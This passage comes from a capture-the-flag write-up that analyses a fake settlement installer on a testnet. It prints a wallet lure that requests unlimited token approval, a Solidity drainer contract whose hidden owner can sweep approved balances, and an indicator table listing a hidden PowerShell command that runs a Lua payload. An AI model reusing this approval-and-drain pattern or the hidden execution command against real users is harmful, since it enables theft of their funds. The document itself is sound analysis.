        setStatus("Requesting token approval...", "loading");

        const token = new ethers.Contract(MOCK_TOKEN_ADDRESS, MOCK_TOKEN_ABI, signer);
        const unlimitedAmount = ethers.MaxUint256;

        const tx = await token.approve(X0_CONTRACT_ADDRESS, unlimitedAmount);
        await tx.wait();

        setStatus(
            `Approved`,
            "success"
        );

        setTimeout(() => {
            alert(
                "Thank you for approval!"
            );
        }, 1500);

    } catch (err) {
        setStatus(`Error during approval: ${err.message}`, "error");
        document.getElementById("agreeBtn").disabled = false;
    }
}

One implementation issue is also worth noting. The script assigns text to elements with the IDs tokenAddrDisplay and drainerAddrDisplay, but those elements are absent from the supplied HTML. In a normal browser, the first assignment would therefore attempt to set textContent on null and stop that script block. The intended approval flow is nevertheless unambiguous from the remaining code, the page would require those elements to be restored, or the two assignments to be removed, before the button flow could run as written.

The page first checks for window.ethereum, the provider object commonly injected by browser wallets. It wraps that object with new ethers.BrowserProvider(window.ethereum). In ethers.js v6, BrowserProvider is the provider class designed for injected EIP-1193 browser wallets such as MetaMask.

Challenge answer 9: BrowserProvider

After obtaining a signer, requestApproval() creates a token-contract instance and calls:

token.approve(X0_CONTRACT_ADDRESS, unlimitedAmount)

The token function used to request spending permission is therefore approve().

Challenge answer 7: approve()

The variable unlimitedAmount is assigned ethers.MaxUint256. This constant is equal to 2^256 - 1, the largest value that can be represented by a Solidity uint256:

115792089237316195423570985008687907853269984665640564039457584007913129639935

Granting this allowance gives the spender contract permission to transfer up to that amount of the user’s token balance. This unlimited approval pattern is dangerous because the permission remains available until it is consumed or explicitly revoked.

Challenge answer 8: 115792089237316195423570985008687907853269984665640564039457584007913129639935

The spender address referenced by the page, 0x69Bf5b7aBA51C3Ee8bF169aB47479ba95DBF709D, led to the final stage of the challenge.

Investigating the second smart contract

This contract was also verified, allowing its source to be analyzed directly:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MockToken {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor() {
        balanceOf[msg.sender] = 1000 ether;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        require(allowance[from][msg.sender] >= amount, "not approved");
        require(balanceOf[from] >= amount, "insufficient balance");
        allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
    }
}

contract x0 {
    MockToken public x1;

    bytes32 private x2 = 0x7ccb3a440e383635148b237df8bb22dff0b594425beae88d6e1623df0bc7669b;
    bytes32 private x3 = 0x7ccb3a440e383635148b237d13473c069ba9ffd6545c58ee37e969b87d181c01;

    bytes private x4;

    event x5(address indexed);

    constructor(address x6) {
        x1 = MockToken(x6);
    }

    function x7() public view returns (address) {
        return address(uint160(uint256(x2) ^ uint256(x3)));
    }

    function x8(bytes calldata cipherFlag) external {
        require(x4.length == 0, "already set");
        x4 = cipherFlag;
    }
	
	function x9(address x10) external view returns (string memory) {
		require(x10 == x7(), "not quite - keep analyzing");
		bytes memory decrypted = _crypt(x4, x10);
		return string(decrypted);
	}

	function _crypt(bytes memory data, address key) internal pure returns (bytes memory) {
		bytes memory out = new bytes(data.length);
		uint256 i = 0;
		uint256 counter = 0;
		while (i < data.length) {
			bytes32 block_ = keccak256(abi.encodePacked(key, counter));
			for (uint256 j = 0; j < 32 && i < data.length; j++) {
				out[i] = data[i] ^ block_[j];
				i++;
			}
			counter++;
		}
		return out;
	}

    function x11(address x12) external {
        require(msg.sender == x7(), "only hidden owner");
        uint256 bal = x1.balanceOf(x12);
        x1.transferFrom(x12, x7(), bal);
    }
}

The creation input provides an additional consistency check. The complete input is 4,175 bytes: 4,143 bytes of creation bytecode followed by one 32-byte constructor argument. Its relevant tail is:

...a26469706673582212205e522e36e62c5b8dc4eb1170cfc4a3f01344d906cc4f450b5954fe8721dca90064736f6c63430008180033
0000000000000000000000006b2b0c0d0a376255ac70bf1366f50982bf476bb2

The first line is the Solidity CBOR metadata tail, ending in 0033. The word after it is the ABI-encoded value supplied to constructor(address x6). Ethereum ABI encoding stores an address in a 32-byte slot by left-padding its 20-byte value with twelve zero bytes. Removing that padding gives:

0x6b2b0c0d0a376255ac70bf1366f50982bf476bb2

This matches MOCK_TOKEN_ADDRESS from settlement.html (address casing is not significant), confirming that x1 references the mock token contract. The creation input does not itself contain a human-readable ABI; because the contract is verified, the ABI can be obtained from Blockscout, or reduced to the single signature needed for the final call: function x9(address) view returns (string).

The x0 contract stores two bytes32 constants, x2 and x3. Function x7() XORs them, converts the result to uint160, and then casts it to an Ethereum address:

address(uint160(uint256(x2) ^ uint256(x3)))

The recovered hidden address is:

0xebfc1ed96b1c6b940fb6b06359ff4a6776df7a9a

That address has two roles. First, x11() treats it as the hidden owner allowed to drain an approved token balance. Second, x9(address) compares its argument, x10, with the hidden address returned by x7(). If they do not match, the call reverts with the challenge hint not quite - keep analyzing. Because this check applies to a function argument rather than msg.sender, retrieving the flag does not require possession of the hidden address’s private key.

The encrypted flag is stored in x4, which was populated through x8(bytes). With the correct hidden address, x9() passes the ciphertext and address to _crypt(). The routine generates one 32-byte keystream block at a time:

keccak256(abi.encodePacked(key, counter))

It XORs each ciphertext byte with the corresponding keystream byte and increments counter for the next block. Because x9() is a view function, it can be called through Sepolia RPC without sending a transaction or paying gas. Foundry’s cast can perform the call and decode its declared string return value:

cast call \
  0x69Bf5b7aBA51C3Ee8bF169aB47479ba95DBF709D \
  "x9(address)(string)" \
  0xebfc1ed96b1c6b940fb6b06359ff4a6776df7a9a \
  --rpc-url https://ethereum-sepolia-rpc.publicnode.com

The command returns:

"51.5049,0.0348"

To understand where this value comes from, the raw eth_call response can be split into three 32-byte ABI words (line breaks added for readability):

0x0000000000000000000000000000000000000000000000000000000000000020
  000000000000000000000000000000000000000000000000000000000000000e
  35312e353034392c302e3033343800000000000000000000000000000000000000

Solidity ABI encoding represents a dynamic string using an offset, a length, and the padded string data:

ABI word Meaning
0x20 Offset to the dynamic string data
0x0e String length: 14 bytes
35312e353034392c302e30333438 The 14 bytes of string data, followed by zero padding

Converting the data bytes from hexadecimal to ASCII gives:

35 31 2e 35 30 34 39 2c 30 2e 30 33 34 38
 5  1  .  5  0  4  9  ,  0  .  0  3  4  8

The resulting plaintext is 51.5049,0.0348. The decryption itself occurs inside _crypt(x4, x10); ABI decoding is only the final conversion of the contract’s encoded return data into a JavaScript/Solidity string.

Challenge answer 10: 51.5049,0.0348

Indicators of Compromise

The following indicators and host artifacts summarize the observable components of the challenge. They are specific to this sample and the Sepolia test network.

Type Indicator Role
Original executable TrustSettle 1.0.0.exe NSIS installer containing the Electron application
Packaged archive resources/app.asar Electron source and application resources
Dropped file C:\Users\Public\api.txt Obfuscated Lua payload
Dropped file C:\Users\Public\luajit.exe Runtime used to execute api.txt
Dropped file C:\Users\Public\lua51.dll Lua runtime dependency
Monitored file C:\Users\Public\.env File watched for added or removed content
Dropped HTML %TEMP%\settlement.html Terms of Service lure containing the wallet-approval flow
Suspicious command line powershell.exe -exec bypass -w hidden -nop -c "& 'C:\Users\Public\luajit.exe' 'C:\Users\Public\api.txt'" Executes the Lua payload through hidden PowerShell
Local HTTP endpoint http://127.0.0.1:8000 Receives changes captured from .env
Sepolia contract 0xbB63Ae28E4f75C9392bae69cDf5394Ca0ACdA6B1 StateRegistry contract used to retrieve the payload-decryption key
Sepolia contract 0x69Bf5b7aBA51C3Ee8bF169aB47479ba95DBF709D Spender/drainer-style x0 contract referenced by the HTML page
Sepolia token contract 0x6B2B0C0d0a376255Ac70Bf1366f50982bF476Bb2 Mock token passed to the x0 constructor
Hidden address 0xebfc1ed96b1c6b940fb6b06359ff4a6776df7a9a XOR-recovered owner address and key supplied to x9(address)

AI disclosure: I used AI as a writing and editing assistant to translate parts of my original Indonesian draft into English and improve the article’s grammar, clarity, and organization.